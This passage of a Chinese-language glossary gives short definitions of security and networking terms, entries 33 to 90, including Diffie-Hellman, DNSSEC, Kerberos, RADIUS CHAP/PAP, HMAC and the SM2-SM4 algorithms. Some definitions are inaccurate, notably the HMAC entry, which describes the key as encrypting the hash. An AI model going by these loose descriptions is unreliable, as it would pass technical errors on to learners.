1. 属性(Attribute):标识 AVP 的类型和含义,通常使用一个唯一的标识符(例如,一个整数值)来表示。属性定义了 AVP 承载的数据的语义。
2. 值(Value):AVP 承载的实际数据,根据属性的不同可能具有不同的数据类型(如整数、字符串、IP 地址等)。
3. 标志位(Flags):用于指示 AVP 的属性,如是否必需、是否包含扩展等。
### 33.Diameter: EAP(Extensible Authentication Protocol)
在 Diameter 协议中,EAP(Extensible Authentication Protocol)是一种用于认证的扩展性协议。它允许在 Diameter 消息中传输和处理认证请求和响应。
EAP 是一种灵活的认证协议,用于在网络通信中进行身份验证。它支持各种认证方法和机制,如密码验证、数字证书、智能卡、令牌等。EAP 不依赖于特定的物理介质或网络协议,可以适用于有线和无线网络、以太网、Wi-Fi 等不同的网络环境。
在 Diameter 中,EAP 通过将 EAP 消息封装在 Diameter AVP 中进行传输。Diameter EAP 应用定义了特定的 AVP 和消息格式,以支持 EAP 的集成和处理。
### 34.字典攻击(Dictionary Attack)
字典攻击(Dictionary Attack)是一种密码破解技术,旨在通过尝试常见密码和常用字典中的单词来获取用户的密码或访问权限。
字典攻击的基本原理是使用一个事先准备好的密码字典,其中包含常见的密码、常用词汇、常见短语等。攻击者将这些密码依次尝试应用于目标系统的用户账户,直到找到匹配的密码为止。字典攻击通常是自动化的,利用计算机程序快速地进行密码尝试。
字典攻击的成功依赖于用户使用弱密码,如简单的单词、数字序列、常见短语等。许多用户倾向于使用易于记忆的密码,但这也增加了密码被猜测和破解的风险。
### 35.Diffie-Hellman Key Agreement Method
Diffie-Hellman 密钥协商方法(Diffie-Hellman Key Agreement Method)是一种公钥加密协议,用于在不安全的通信通道上协商共享密钥。它允许两个通信方在没有事先共享密钥的情况下,通过公开交换数据来生成一个共享的秘密密钥。
Diffie-Hellman 协议的基本原理如下:
1. 两个通信方(通常称为 Alice 和 Bob)共同协商一个素数 p 和一个生成元 g。
2. Alice 选择一个私密的随机数 a,并计算 g^a mod p。
3. Bob 选择一个私密的随机数 b,并计算 g^b mod p。
4. Alice 和 Bob 交换计算结果(即 g^a mod p 和 g^b mod p)。
5. Alice 使用 Bob 发送的结果计算 (g^b mod p)^a mod p。
6. Bob 使用 Alice 发送的结果计算 (g^a mod p)^b mod p。
7. 最终,Alice 和 Bob 都获得了相同的共享秘密密钥 g^(ab) mod p。
Diffie-Hellman 协议的安全性基于离散对数问题的困难性,即从 g^a mod p 推导出 a 的困难性。
### 36.Digital Time-Stamp Service
Digital Time-Stamp Service(数字时间戳服务)是一种提供时间戳的在线服务,用于将某个特定的数据或文档与确切的时间关联起来,并证明该数据在特定时间之前存在或创建。
数字时间戳服务通过使用加密技术和可信的时间源来生成数字签名,确保时间戳的准确性和不可篡改性。时间戳可以应用于各种场景,如电子文档的法律证据、电子邮件的时间证明、数字签名的验证等。
### 37.DNSSEC
1. 域名系统安全扩展 (DNSSEC) 是添加到 DNS 记录中的加密签名,用于保护通过互联网协议 (IP) 网络传输的数据。DNSSEC 的存在是因为设计 DNS 的架构师没有提供任何协议安全保护措施。这给了攻击者伪造记录和将用户引向欺诈网站的可乘之机。在这种背景下,DNSSEC 协议应运而生,旨在提升 DNS 响应的真实性和完整性。
2. 工作原理:
1. 在 DNSSEC 中,每个区域都有一个公钥/私钥对。区域公钥使用 DNS 发布,区域私钥通过离线方式安全、妥善的保管。区域私钥会为该区域中的个人 DNS 数据签名,同时创建同样由 DNS 发布的数字签名。DNSSEC 采用严格的信任模型,这条信任链贯穿了父区域和子区域。高等级(父)区域会为低等级(子)区域签署或担保公钥。这些区域的授权名称服务器可由注册商、ISP、web 托管公司或网站运营商(注册人)自己管理。
2. 当最终用户想访问网站时,用户操作系统中的根解析器会向 ISP 处的递归名称服务器请求域名记录。服务器请求该记录后,还会请求与该区域对应的 DNSSEC 密钥。该密钥允许服务器验证其接收的信息是否与授权名称服务器上的记录一致。
3. 如果递归名称服务器确定地址记录已被授权名称服务器发送并且在传输过程中未遭修改,递归名称服务器就会解析该域名,之后用户就可以访问该网站。上述过程称为验证。如果地址记录被更改或者不是来自规定的来源,那么递归名称服务器就不会允许用户访问欺诈地址。DNSSEC 还可以证明某个域名不存在。
### 38.DPAPI
DPAPI(Data Protection API)是一种由 Microsoft 提供的用于数据保护的应用程序编程接口。它旨在为 Windows 操作系统上的应用程序提供简单且强大的数据加密和解密功能。
DPAPI 可用于保护用户敏感数据,例如密码、私钥、认证令牌和其他敏感信息。它基于用户的登录凭据和硬件特征来生成密钥,以确保只有授权用户可以解密受保护的数据。
DPAPI 提供了两种加密模式:
1. 用户模式(User Mode):使用用户的登录凭据和密码来生成密钥,以保护用户个人数据。加密和解密操作是在用户上下文中进行的。
2. 机器模式(Machine Mode):使用操作系统的密钥来保护机器范围的数据。加密和解密操作是在本地计算机上进行的,而不依赖于特定的用户登录。
### 39.DRM
DRM(数字版权管理)是一种安全技术,旨在保护数字内容的版权和控制其使用。它在安全领域起到了重要作用。
DRM系统使用加密技术,将数字内容(如音频、视频、电子书等)进行加密,以防止未经授权的复制、分发或修改。只有经过授权的用户或设备才能解密和使用这些内容。通过这种方式,DRM帮助版权持有者保护其作品免受盗版和未经授权使用的侵害。尽管DRM在保护数字内容的版权方面发挥了重要作用,但它也引发了一些争议。一些人认为DRM限制了用户对数字内容的使用权,可能对消费者造成不便。
### 40.DTLS(Datagram TLS)
DTLS(Datagram Transport Layer Security)是一种基于数据报传输的安全协议,它提供了对不可靠的传输层协议(如UDP)的保护和安全性,类似于TLS(Transport Layer Security)在可靠的传输层协议(如TCP)上提供的功能。
DTLS 的设计目标是在不可靠的网络环境下实现数据传输的保密性、完整性和身份验证。与 TLS 不同,DTLS 适用于那些对实时性要求高、丢包容忍度较高的应用场景,如实时音视频通信、物联网设备通信等。
DTLS 在数据报传输层引入了一些机制来解决可靠性和安全性的问题,包括:
1. 报文完整性校验:使用消息认证码(MAC)来保护传输的数据报,确保数据的完整性,防止篡改。
2. 数据报重传:当数据报丢失或损坏时,DTLS 使用重传机制来保证数据的可靠传输。
3. 握手过程:DTLS 采用与 TLS 相似的握手协议,用于建立安全连接并协商加密算法和密钥。
4. 会话保持:DTLS 支持会话状态的保持,以便在通信过程中快速恢复连接并减少握手开销。
### 41.EJBCA
EJBCA(Enterprise JavaBeans Certificate Authority)是一个基于 Java 平台的企业级证书颁发机构(Certificate Authority,CA)软件。它提供了一套完整的功能和工具,用于管理和颁发数字证书、密钥对和证书相关的操作。
EJBCA 的目标是为组织和企业提供一个安全可靠的解决方案,用于建立和管理公钥基础设施(PKI)和证书管理。通过 EJBCA,组织可以创建自己的证书颁发机构,为内部和外部实体颁发数字证书,实现身份认证、加密通信和数字签名等安全功能。
### 42.FreeRADIUS
FreeRADIUS 是一个开源的 RADIUS(Remote Authentication Dial-In User Service)服务器软件,用于提供网络认证、授权和账单计费服务。它是一个高度可定制和可扩展的软件,广泛应用于各种网络环境中,包括企业网络、服务提供商网络、无线网络等。
RADIUS 是一种网络协议,用于进行用户身份验证、授权和计费。FreeRADIUS 实现了 RADIUS 协议规范,并提供了丰富的功能和灵活的配置选项。
FreeRADIUS 的主要功能包括:
1. 用户身份验证;
2. 授权和访问控制;
3. 计费和计费策略;
4. 客户端支持;
5. 可扩展性和定制性;
### 43.GMSSL
GMSSL(Guomi SSL)是一种国产的安全传输协议,它是中国密码领域的自主创新成果之一。GMSSL 是基于国密(国家商用密码算法)标准设计的 SSL/TLS(Secure Sockets Layer/Transport Layer Security)协议的实现。
GMSSL 旨在提供安全、高效的通信,同时满足国家安全要求和商用密码标准。它采用了国密算法(如SM2、SM3、SM4)作为加密和哈希算法,并支持国密标准化的数字证书、密钥交换协议等。
### 44.GPG
GPG(GNU Privacy Guard)是一个开源的加密软件套件,用于实现公钥加密和数字签名等安全功能。GPG 是基于 OpenPGP(Pretty Good Privacy)标准的实现,并提供了一套命令行工具和库,用于生成和管理密钥、加密和解密文件、签名和验证文件等操作。
GPG 的主要功能包括:
1. 公钥加密:GPG 使用公钥加密算法,允许用户使用接收者的公钥对文件进行加密,只有接收者的私钥才能解密。
2. 数字签名:GPG 支持数字签名功能,用户可以使用自己的私钥对文件进行签名,接收者可以使用发送者的公钥验证签名的有效性和文件的完整性。
3. 密钥管理:GPG 提供了生成、导入、导出和管理密钥对的功能。用户可以生成自己的密钥对,包括公钥和私钥,并进行密钥的备份和恢复。
4. 密钥信任度:GPG 使用密钥信任度系统来建立和验证密钥的信任关系,用户可以通过指纹、密钥服务器和密钥签名等方式验证公钥的真实性和可信度。
5. 密钥服务器:GPG 支持密钥服务器,用户可以将自己的公钥上传到密钥服务器上,方便其他用户查找和获取公钥。
### 45.H.323
H.323 是一组用于音视频通信的国际标准,被广泛应用于实时语音和视频通信领域。它定义了一套协议和规范,用于在 IP 网络上实现音视频通信和多媒体会话。H.323 主要应用于 IP 网络中的实时语音和视频通信场景,如互联网电话(VoIP)、视频会议、远程协作等。它支持在不同设备和平台之间进行互操作,使得不同厂商的终端可以进行音视频通信。
### 46.HMAC
HMAC(Hash-based Message Authentication Code)是一种基于哈希函数的消息认证码算法。它结合了密钥和哈希函数,用于验证数据的完整性和身份认证。
HMAC 的工作原理如下:
1. 选择一个适当的哈希函数(如SHA-256)和一个密钥。
2. 对待认证的消息使用哈希函数进行哈希计算。
3. 使用密钥对哈希值进行加密操作。
4. 最终生成的 HMAC 值就是消息的认证码。
HMAC 提供了以下安全性和功能:
1. 验证数据完整性:通过比对消息接收者计算的 HMAC 值和发送者提供的 HMAC 值,可以验证消息是否在传输过程中被篡改。
2. 身份认证:由于 HMAC 值是使用共享的密钥生成的,因此接收者可以使用相同的密钥重新计算 HMAC 值,并与发送者提供的 HMAC 值进行比对,以验证发送者的身份。
3. 密钥保护:HMAC 使用密钥对哈希值进行加密,密钥只有在发送者和接收者之间共享,提供了对认证码的保护。
### 47.HTTP keep-alive
HTTP Keep-Alive 是一种持久连接的机制,用于在客户端和服务器之间保持长时间的网络连接,以便在同一连接上发送多个 HTTP 请求和响应,而不必为每个请求都建立和关闭连接。
在传统的 HTTP 协议中,每个请求都需要建立一个新的 TCP 连接,并在请求完成后关闭连接。这种模式的缺点是每次请求都需要进行 TCP 握手和连接建立的开销,增加了延迟和网络负载。
通过使用 Keep-Alive,客户端和服务器可以在单个 TCP 连接上进行多个请求和响应。当客户端发送一个请求后,服务器在发送响应后不立即关闭连接,而是保持连接处于打开状态,以便后续的请求可以在同一连接上发送。这样可以减少连接建立和关闭的开销,提高网络性能和响应速度。
### 48.HTTPOnly cookie
HTTPOnly cookie 是一种设置在 Web 应用程序中的 HTTP cookie,具有特殊的属性。HTTPOnly 属性是通过在 cookie 中设置 "HttpOnly" 标记来实现的。
HTTPOnly cookie 主要用于增强 Web 应用程序的安全性,具体功能包括:
1. 防止跨站脚本攻击(XSS):XSS 攻击是一种常见的 Web 攻击形式,攻击者通过注入恶意脚本代码来获取用户的敏感信息。HTTPOnly cookie 限制了 JavaScript 对 cookie 的访问,防止了通过脚本获取 cookie 的攻击。
2. 防止信息窃取:由于 HTTPOnly cookie 只能由浏览器进行处理,无法通过客户端脚本获取其内容,因此减少了敏感信息(如身份验证令牌)被窃取的风险。
3. 保护用户隐私:HTTPOnly cookie 限制了对 cookie 的读取,提高了用户的隐私保护水平。
### 49.IAS Server
IAS(Internet Authentication Service)服务器是一个微软的服务器角色,它提供了对远程访问用户进行身份验证和授权的功能。IAS 是 Windows Server 2003 及更早版本中的身份验证服务,其后继版本为 NPS(Network Policy Server)。随着 Windows Server 2008 及以后版本的发布,IAS 被 NPS 取代,并且提供了更广泛的网络访问策略控制和认证协议支持。
### 50.IDA
IDA(Interactive Disassembler)是一款用于逆向工程和二进制代码分析的强大工具。
IDA是一款反汇编器,它可以将二进制可执行文件(如可执行文件、动态链接库、驱动程序等)转换为可读性较高的汇编代码表示。它支持多种处理器架构和操作系统,并提供了丰富的功能和可视化工具,以帮助逆向工程师分析和理解程序的内部结构和功能。
#### 51.IEEE 802.11i:
IEEE 802.11i是一种无线局域网(WLAN)安全协议,也被称为Wi-Fi Protected Access II(WPA2)。它是IEEE 802.11标准中的一部分,旨在提供更强大的安全性和数据保护,以取代早期的WEP(Wired Equivalent Privacy)协议。IEEE 802.11i使用了一些新的安全机制,包括基于预共享密钥(PSK)的认证和加密技术,以及更强大的加密算法,例如AES。这些机制可以有效地保护无线网络中传输的数据,防止未经授权的访问和攻击。因此,IEEE 802.11i是当前最常用的WLAN安全协议之一,广泛应用于各种无线网络环境中。
#### 52.JSch:
JSch是一个Java实现的SSH2协议客户端库,可以用于实现SSH连接和SFTP文件传输等功能。JSch提供了一组API,可以在Java应用程序中轻松地实现SSH和SFTP功能。它支持多种身份验证方式,例如密码身份验证、公钥身份验证和交互式身份验证等。JSch还支持多种加密算法和压缩算法,可以保证数据传输的安全性和效率。JSch是一个开源项目,可以免费使用和修改。由于其简单易用的API和强大的功能,JSch被广泛应用于各种Java应用程序中,例如远程服务器管理、自动化测试、数据传输等。
#### 53.JSON:
JSON是一种轻量级的数据交换格式,是一种文本格式,可以被任何编程语言读取和生成,常用于Web应用程序中的数据交换。JSON的语法基于JavaScript对象表示法,包括键值对、数组和嵌套等结构。它比XML更加简洁,易于解析和生成,因此在Web应用程序中被广泛使用。
#### 54.Kerberos:
Kerberos是一种网络安全协议,用于验证用户和计算机之间的身份。Kerberos协议的设计目标是提供一种安全的认证方式,以防止未经授权的用户访问计算机网络资源。Kerberos协议提供了以下安全服务:
1. 认证:通过验证用户的身份来确保用户是合法的。
2. 授权:确定用户是否有权访问特定的资源。
3. 数据完整性:确保数据在传输过程中没有被篡改。
4. 保密性:确保数据在传输过程中不会被窃听。
Kerberos协议的工作原理如下:
1. 用户向Kerberos服务器发送身份验证请求。
2. Kerberos服务器向用户发送一个票据(Ticket),该票据包含了用户的身份信息和一个加密的密钥。
3. 用户将票据发送到资源服务器,以证明自己的身份。
4. 资源服务器使用自己的密钥解密票据,以获取用户的身份信息,并验证用户是否有权访问该资源。
Kerberos协议使用对称密钥加密技术来保证通信的安全性。在Kerberos协议中,每个用户和每个资源服务器都有一个密钥,这些密钥只在Kerberos服务器中存储。当用户需要访问资源服务器时,Kerberos服务器会生成一个票据,该票据包含了用户的身份信息和一个用于加密通信的密钥。用户使用该密钥来加密通信,以确保通信的安全性。
总之,Kerberos协议是一种可扩展的网络安全协议,用于验证用户和计算机之间的身份,并提供数据完整性和保密性。它是目前广泛使用的企业级网络认证协议之一。
#### 55.LDAP:
LDAP(Lightweight Directory Access Protocol)是一种用于访问和维护分布式目录服务的协议。LDAP协议是一个开放标准,用于在Internet和企业内部网络中访问和维护分布式目录信息。LDAP协议通常用于身份验证和授权,以及存储和检索组织中的用户和计算机信息。
LDAP目录服务通常由一个或多个LDAP服务器组成,这些服务器存储了目录信息。LDAP服务器使用目录信息树的形式组织信息,类似于文件系统中的目录结构。每个目录项都包含了一些属性和值,用于描述该项的特征和属性。LDAP客户端可以使用LDAP协议来搜索和检索目录信息,以及对目录信息进行修改。
LDAP协议的优点包括:
1. 可扩展性:LDAP协议可以很容易地扩展以支持新的目录信息。
2. 跨平台:LDAP协议可以在不同的操作系统和平台上使用。
3. 安全性:LDAP协议支持安全认证和加密,以保护目录信息的安全性。
LDAP协议的应用场景包括:
1. 身份验证和授权:LDAP协议可以用于身份验证和授权,以确定用户是否有权访问特定的资源。
2. 组织管理:LDAP协议可以用于管理组织中的用户和计算机信息。
3. 电子邮件和电话号码目录:LDAP协议可以用于存储和检索电子邮件和电话号码信息。
总之,LDAP是一种开放标准的协议,用于访问和维护分布式目录服务。它是一种可扩展、跨平台、安全的协议,常用于身份验证和授权、组织管理、电子邮件和电话号码目录等应用场景。
#### 56.Let's Encrypt(RFC 8555 ):
Let's Encrypt是一个提供免费SSL/TLS证书的证书颁发机构,RFC 8555是Let's Encrypt ACME协议的官方规范。ACME是Automated Certificate Management Environment的缩写,它是一种协议,用于自动化证书颁发和管理过程。Let's Encrypt通过实现ACME协议,使得用户可以在不需要任何费用的情况下获得SSL/TLS证书,从而提高了互联网的安全性。
#### 57.NextDNS:
NextDNS是一种基于云的域名解析服务,它提供了一种更安全和更私密的互联网体验。NextDNS可以过滤恶意网站、广告和追踪器,并提供了一些高级功能,如家长控制和自定义域名阻止。用户可以通过在其设备或路由器上配置NextDNS的DNS服务器地址来使用此服务。NextDNS还提供了一些应用程序和浏览器扩展,以便在移动设备和计算机上使用。
#### 58.NSS:
NSS(Network Security Services)是一组用于构建安全应用程序的开源库和工具集合,它最初由Netscape Communications公司开发。NSS提供了一些常见的安全功能,如SSL/TLS、数字证书管理、S/MIME、PKCS#11和PKCS#12等。NSS库是用C语言编写的,可在Linux、Unix和Windows等操作系统上运行。NSS库的目标是提供高度可靠的安全性,同时保持易于使用和集成的特性。NSS库已被广泛应用于许多开源和商业软件中,如Mozilla Firefox、Thunderbird、Red Hat Enterprise Linux等。
#### 59.OCSP:
OCSP(Online Certificate Status Protocol)是一种用于检查数字证书状态的协议。它通过向证书颁发机构(CA)的服务器发送请求,获取数字证书的状态信息,以确定证书是否被吊销或过期。OCSP协议可以帮助保护网络安全,防止使用已被吊销或过期的数字证书的攻击。
OCSP协议相对于CRL(证书吊销列表)有一些优点,如节省带宽和提供更及时的证书状态信息。但是,OCSP协议也存在一些安全和隐私问题,如OCSP响应的缓存和OCSP服务器的可信性问题。因此,在实际应用中,需要综合考虑使用OCSP或CRL来检查数字证书的状态。
#### 60.O-LLVM:
O-LLVM是一种基于LLVM的编译器优化技术,它可以对生成的机器码进行混淆,从而提高代码的安全性。具体来说,O-LLVM使用了一系列的混淆技术,如指令替换、控制流平坦化、函数重组等,使得生成的机器码难以被逆向工程师分析和理解,从而保护了程序的知识产权和安全性。
#### 61.PAM:
PAM的全称是Pluggable Authentication Modules,即可插拔式认证模块。它是一个标准的Linux/Unix认证框架,主要用于控制用户登录时的身份验证和授权过程。PAM可以通过加载不同的模块来实现不同的认证方式,如密码、指纹、智能卡等,这使得它非常灵活和可定制。
同时,PAM还提供了一些标准的认证模块,如passwd、shadow、pam_unix等,这些模块可以满足大多数系统的认证需求。此外,PAM还支持多种认证方式的组合,如密码+指纹、密码+智能卡等。
需要注意的是,PAM只负责用户身份验证和授权,不负责访问控制和权限管理。因此,在使用PAM时,仍需要结合其他安全措施,如SELinux、ACL等,以提高系统的安全性。
#### 62.PGP:
PGP(Pretty Good Privacy)是一种加密和数字签名软件,可以用于保护电子邮件、文档和其他数据的安全性和完整性。它的基本原理是使用公钥加密和私钥解密,以及私钥签名和公钥验证。PGP使用对称密钥和非对称密钥两种加密方式来保护数据的安全性。
#### 63.PKCS:
PKCS(Public Key Cryptography Standards,公钥密码学标准)是一组密码学标准,由RSA安全公司和其他公司和组织共同开发和维护。PKCS定义了许多加密和数字签名算法、密钥交换协议、证书格式和安全协议等方面的标准,以促进公钥密码学的应用和发展。
#### 64.PKCS #7:
PKCS #7是一种加密和数字签名消息语法标准,定义了在网络上安全地传输消息的格式和内容。PKCS #7标准通常用于数字证书、数字签名和加密电子邮件等方面。
PKCS #7消息由两部分组成:消息本身和一个或多个数字签名。消息本身可以是任何类型的数据,例如文本、图像、音频或二进制文件。数字签名是用于验证消息真实性和完整性的一种方式,它可以证明消息没有被篡改或伪造。
#### 65.PKCS#11:
PKCS#11是一种安全令牌接口标准,它定义了一组API函数,用于访问安全令牌(如智能卡、USB密钥等)中的加密设备和密钥。PKCS#11标准由RSA安全公司开发,现在已经成为了一种行业标准。PKCS#11的全称是Public-Key Cryptography Standards #11,是一种公钥加密标准。PKCS#11标准定义了访问安全令牌的方式和方法,支持加密、解密、签名、验证等操作。PKCS#11标准可以帮助开发人员在应用程序中使用安全令牌来提供更高的安全性和保护用户的敏感数据。
#### 66.PKI:
PKI是公钥基础设施(Public Key Infrastructure)的缩写,它是一种用于管理公钥加密的安全系统。PKI系统包括公钥证书、证书颁发机构(CA)、注册机构(RA)等组件,用于确保通信的安全性和完整性。PKI系统的核心是数字证书,数字证书是由CA颁发的,用于验证数字签名和身份验证。PKI系统使用非对称加密算法,其中公钥用于加密数据,私钥用于解密数据。PKI系统可以用于保护电子邮件、网站、电子商务、VPN等应用程序中的数据传输和身份验证。PKI系统可以提供更高的安全性,因为它使用了公钥加密和数字签名技术,可以防止中间人攻击和数据篡改。
#### 67.POP3:
POP3是一种用于接收电子邮件的协议,它的全称是Post Office Protocol version 3。POP3协议是TCP/IP协议族中的一员,它允许用户通过邮件客户端从邮件服务器上下载电子邮件。 POP3协议具有以下特点:
1. POP3协议是一种简单的协议,它只支持基本的邮件接收和删除功能。
2. POP3协议是一种离线协议,它只在需要时连接到邮件服务器,下载邮件后就断开连接。
3. POP3协议只支持单个设备上的邮件接收,不能在多个设备之间同步邮件。
尽管POP3协议已经被新的邮件协议(如IMAP)所取代,但它仍然是许多邮件客户端(如Outlook Express、Thunderbird等)所支持的协议之一。
#### 68.Radius: CHAP:
RADIUS(Remote Authentication Dial-In User Service)是一种网络协议,用于在网络中进行身份验证、授权和帐户管理。而CHAP(Challenge-Handshake Authentication Protocol)是一种基于哈希算法的身份验证协议,通常用于在网络中进行点对点的身份验证。
在RADIUS中,CHAP是一种可选的身份验证协议,用于验证用户的身份。当用户尝试访问网络资源时,RADIUS服务器会向用户发送一个随机的挑战码(challenge),用户需要使用自己的密码和挑战码计算出一个哈希值,并将该哈希值发送回RADIUS服务器进行验证。如果哈希值与服务器上存储的哈希值匹配,则用户被授权访问网络资源。
CHAP的优点在于它使用的是哈希算法,因此可以提供更高的安全性。此外,由于挑战码是随机生成的,因此每次身份验证都是唯一的,可以防止重放攻击。但是,由于CHAP需要在网络中传输明文密码的哈希值,因此存在被中间人攻击的风险。
总之,RADIUS中的CHAP协议可以提供一定程度的身份验证安全,但需要注意其潜在的安全风险。
#### 69.Radius: PAP:
在RADIUS(Remote Authentication Dial-In User Service)协议中,PAP(Password Authentication Protocol)是一种简单的身份验证协议,通常用于在网络中进行点对点的身份验证。与CHAP不同,PAP在网络中传输的是明文密码,因此安全性较低。
在使用PAP进行身份验证时,用户需要向RADIUS服务器发送自己的用户名和密码。RADIUS服务器会将这些信息与自己存储的用户信息进行比对,如果匹配,则用户被授权访问网络资源。由于PAP在网络中传输的是明文密码,因此存在被中间人攻击的风险。如果攻击者能够截获网络传输的PAP数据包,那么他就可以轻易地获取用户的用户名和密码。
虽然PAP的安全性较低,但它仍然被广泛用于一些简单的网络环境中,例如家庭网络和小型企业网络。在这些环境中,PAP可以提供足够的安全性,并且易于设置和维护。但是,在更为复杂的网络环境中,建议使用更为安全的身份验证协议,例如CHAP或EAP(Extensible Authentication Protocol)。
#### 70.RFC:
RFC是指"Request for Comments",是由互联网工程任务组(IETF)发布的技术文档,用于描述互联网协议、算法、方法和概念等。RFC文档通常由技术专家编写,经过IETF的审核和讨论后发布。RFC文档是互联网标准的重要组成部分,它们为互联网的发展和标准化做出了重要贡献。
#### 71.robots.txt:
robots.txt是一种文本文件,用于向搜索引擎指示哪些网页可以被抓取,哪些网页不应该被抓取。它是一种标准的协议,被广泛用于网站管理和搜索引擎优化。网站管理员可以通过修改robots.txt文件,控制搜索引擎爬虫对网站的访问和索引。robots.txt文件通常放置在网站的根目录下,搜索引擎在访问网站时会先查找该文件,以确定哪些页面可以被抓取。
#### 72.S/MIME:
S/MIME(Secure/Multipurpose Internet Mail Extensions)是一种基于公钥加密技术的电子邮件安全协议,用于保护电子邮件的机密性、完整性和身份验证。它通过数字证书来验证电子邮件的发送者身份,并使用公钥加密技术来保护邮件的机密性和完整性。S/MIME协议支持多种加密算法和数字证书格式,可以在各种电子邮件客户端和服务器之间进行互操作。S/MIME协议广泛应用于企业和政府机构等需要保护敏感信息的组织中。
#### 73.SCTP:
SCTP(Stream Control Transmission Protocol)是一种传输层协议,用于在IP网络上传输数据流。它提供了可靠的、面向连接的传输服务,支持多个数据流,并具有较强的消息边界和故障恢复能力。SCTP协议是IETF(Internet Engineering Task Force)的标准之一,被广泛应用于VoIP、视频流、实时数据传输和可靠数据传输等领域。与TCP相比,SCTP具有更好的抗拒拒绝服务攻击(DoS)和分布式拒绝服务攻击(DDoS)能力,但在网络设备和应用程序的支持方面还不如TCP普及。
#### 74.SHA-256:
SHA-256是一种哈希算法,它是SHA-2(Secure Hash Algorithm 2)算法族中的一员。SHA-256算法将任意长度的消息作为输入,并输出一个256位的哈希值,该哈希值通常用于验证数据的完整性和真实性。SHA-256算法具有较高的安全性,能够抵御各种攻击,包括碰撞攻击和生日攻击等。SHA-256算法已被广泛应用于数字签名、消息认证、软件签名等领域。
#### 75.S-HTTP:
S-HTTP(Secure HTTP)是一种安全的HTTP协议,用于在互联网上进行安全通信。它通过在HTTP协议的基础上添加了一些安全机制,如加密、认证和完整性检查,来保护HTTP通信的安全性。S-HTTP的主要目的是提供一种安全的HTTP协议,以便在HTTP应用程序中使用安全性更高的功能,如安全的电子商务和安全的Web服务。然而,S-HTTP并没有像SSL/TLS协议那样得到广泛的应用和支持,因此它已经被大部分的Web应用程序所取代。
**76、Single sign on**
单点登录(Single Sign-On,简称SSO)是一种身份验证和授权机制,允许用户使用一组凭据(例如用户名和密码)来访问多个相关应用程序或系统,而无需在每个应用程序中单独进行身份验证。简而言之,它允许用户在登录一次后,就能够访问多个应用程序或系统,而不需要为每个应用程序输入凭据。
**77、SIP**
SIP(Session Initiation Protocol)是一种通信协议,用于建立、修改和终止实时会话,例如语音通话、视频通话和即时消息。它是一种应用层协议,常用于互联网电话(VoIP)和实时通信应用。
**78-80、SM2,SM3,SM4**
SM2、SM3和SM4是中国国家密码管理局发布的密码算法标准,用于信息安全和数据加密。它们分别用于非对称加密、密码哈希和对称加密。
1. SM2:SM2是一种非对称加密算法,用于数字签名和密钥交换。它基于椭圆曲线密码学,提供了安全的数字签名和密钥交换机制。SM2算法适用于身份认证、加密通信和电子数据交换等领域。
2. SM3:SM3是一种密码哈希算法,用于计算数据的哈希值。它采用Merkle-Damgard结构,具有高度的安全性和抗碰撞性能。SM3算法广泛应用于数字签名、身份认证和数据完整性校验等场景。
3. SM4:SM4是一种分组密码算法,也被称为国密算法。它是一种对称加密算法,用于保护数据的机密性。SM4算法采用了32轮迭代结构和S盒代换操作,具有良好的安全性和高效性能。SM4算法广泛应用于数据加密、安全通信和存储加密等领域。
**81、SMTP**
SMTP(Simple Mail Transfer Protocol)是一种用于电子邮件传输的应用层协议。它是互联网上常用的标准协议之一,用于发送和接收电子邮件。
SMTP协议主要用于将邮件从发送者的邮件服务器发送到接收者的邮件服务器。它提供了一种可靠的机制来传输电子邮件,并确保邮件的准确交付。SMTP使用TCP(Transmission Control Protocol)作为传输协议,通过默认端口25进行通信。
**82、SOAP**
SOAP(Simple Object Access Protocol)是一种基于XML的通信协议,用于在网络上进行应用程序间的信息交换。它是一种用于远程过程调用(RPC)的协议,允许在分布式系统中的不同应用程序之间进行通信。
**83、SPKI**
SPKI(Simple Public Key Infrastructure)是一种简化的公钥基础设施,旨在提供一种灵活、可扩展且易于部署的公钥管理方案。
**84、SRTP(SecureReal-time Transport Protocol) **
SRTP(Secure Real-time Transport Protocol)是一种安全的实时传输协议,用于保护实时通信(如语音和视频)的机密性、完整性和认证性。它是在实时传输协议(RTP)的基础上增加了安全性扩展而形成的。SRTP的主要目标是在实时通信中提供端到端的安全保护,以抵御窃听、篡改和伪装等攻击。它使用了对称加密算法(如AES)来加密实时数据流,并使用消息认证码(MAC)来确保数据的完整性。SRTP还支持身份验证和重放保护等安全机制。
**85、ssl heartbeat**
SSL Heartbeat是一种用于检测传输层安全(TLS)/ 安全套接层(SSL)连接是否仍处于活动状态的协议。它通常被称为"心跳",因为它允许服务器和客户端之间发送一个简短的消息来确保连接仍然有效。
在2014年,发现了一个名为 "Heartbleed漏洞" 的严重问题,它利用了这个协议中的漏洞,可以使攻击者获取受影响服务器上的敏感信息。自那以后,该协议已经得到重新设计和改进,以减少类似漏洞的风险。
**86、SSL2**
SSL2指的是“安全套接字层协议第二版”(Secure Socket Layer version 2),它是一种用于加密互联网通信的安全协议。SSL2最初由Netscape公司开发,在1995年发布。它使用对称密钥和公钥加密技术,以确保通信的机密性、完整性和可靠性。
然而,SSL2存在一些安全漏洞,因此它已经被现代的安全协议所取代,比如TLS(传输层安全协议)。实际上,各大主流浏览器在2011年左右开始逐步淘汰了SSL2的支持,因为这可能会导致安全问题。
**87、SSN**
SSN(Subsystem Number)是一种用于标识和区分不同子系统的数字编号。它常用于一些通信协议中,如SS7(Signaling System No. 7)和ISUP(ISDN User Part),以确保有效的信令传递和处理。
在SS7网络中,SSN用于区分不同的服务或功能,每个子系统被分配一个唯一的SSN。通过在信令消息中包含SSN,接收方能够确定消息应该传递给哪个子系统进行处理。
SSN在ISUP协议中也扮演着类似的角色,用于标识和路由呼叫信令消息到正确的交换设备或子系统。
SSN的使用有助于确保网络中的信令和控制消息被正确路由和处理,以实现有效的通信和服务提供。
**88、SSO**
单点登录(Single Sign-On,简称SSO)是一种身份验证和授权机制,允许用户使用一组凭据(例如用户名和密码)来访问多个相关应用程序或系统,而无需在每个应用程序中单独进行身份验证。简而言之,它允许用户在登录一次后,就能够访问多个应用程序或系统,而不需要为每个应用程序输入凭据。
**89、TLS 1.3**
TLS 1.3(Transport Layer Security)是一种加密协议,用于在计算机网络上提供安全的通信连接。它是TLS协议的最新版本,于2018年发布,并取代了先前的TLS 1.2版本。
**90、TSA**
TSA是Time Stamp Authority(时间戳机构)的缩写。时间戳机构是数字签名领域中的一种服务提供者,用于为电子文档或数字数据提供时间戳。
时间戳的作用是为电子文档或数字数据提供可信的时间证明。它确保在特定时间点之前,数据已经存在或者操作已经完成,从而保护数据的完整性和不可抵赖性。
